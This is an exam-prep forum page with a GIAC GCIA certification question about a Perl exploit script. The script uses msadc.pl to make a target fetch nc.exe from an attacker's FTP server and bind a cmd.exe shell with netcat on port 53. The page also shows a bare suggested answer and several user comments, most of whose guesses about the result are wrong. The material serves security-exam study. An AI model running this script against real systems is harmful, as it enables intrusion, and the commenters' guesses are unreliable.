Cyber Monday 2024! Hurry Up, Grab the Special Discount - Save 25% - Ends In 00:00:00 Coupon code: SAVE25
Welcome to Pass4Success

- Free Preparation Discussions

GIAC Exam GCIA Topic 6 Question 40 Discussion

Actual exam question for GIAC's GCIA exam
Question #: 40
Topic #: 6
[All GCIA Questions]

Adam, a malicious hacker performs an exploit, which is given below:

#################################################################

$port = 53;

# Spawn cmd.exe on port X

$your = "192.168.1.1";# Your FTP Server 89

$user = "Anonymous";# login as

$pass = 'noone@nowhere.com';# password

#################################################################

$host = $ARGV[0];

print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h

$host -C \"echo

open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system

("perl msadc.pl -h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\"");

system("perl

msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get

hacked.

html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is

downloading ...

\n";

system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is

finished ...

(Have a ftp server)\n";

$o=; print "Opening ...\n";

system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n";

#system("telnet $host $port"); exit(0);

Which of the following is the expected result of the above exploit?

Show Suggested Answer Hide Answer
Suggested Answer: D

Contribute your Thoughts:

Alton
6 months ago
Interesting perspective, Jesusa. I can see how that could be the expected result as well.
upvoted 0 times
...
Jesusa
6 months ago
I think the exploit creates a share called 'sasfile' on the target system. That's what the code indicates to me.
upvoted 0 times
...
Frederica
6 months ago
It could be a telnet listener, but based on the code, it seems more likely to set up an FTP server.
upvoted 0 times
...
Tien
6 months ago
I'm not sure about that. I think it might open up a telnet listener that requires no username or password.
upvoted 0 times
...
Alton
7 months ago
I agree with Frederica. Creating an FTP server with write permissions makes sense based on the code snippet.
upvoted 0 times
...
Frederica
7 months ago
I think the expected result of the exploit is creating an FTP server with write permissions enabled.
upvoted 0 times
...

Save Cancel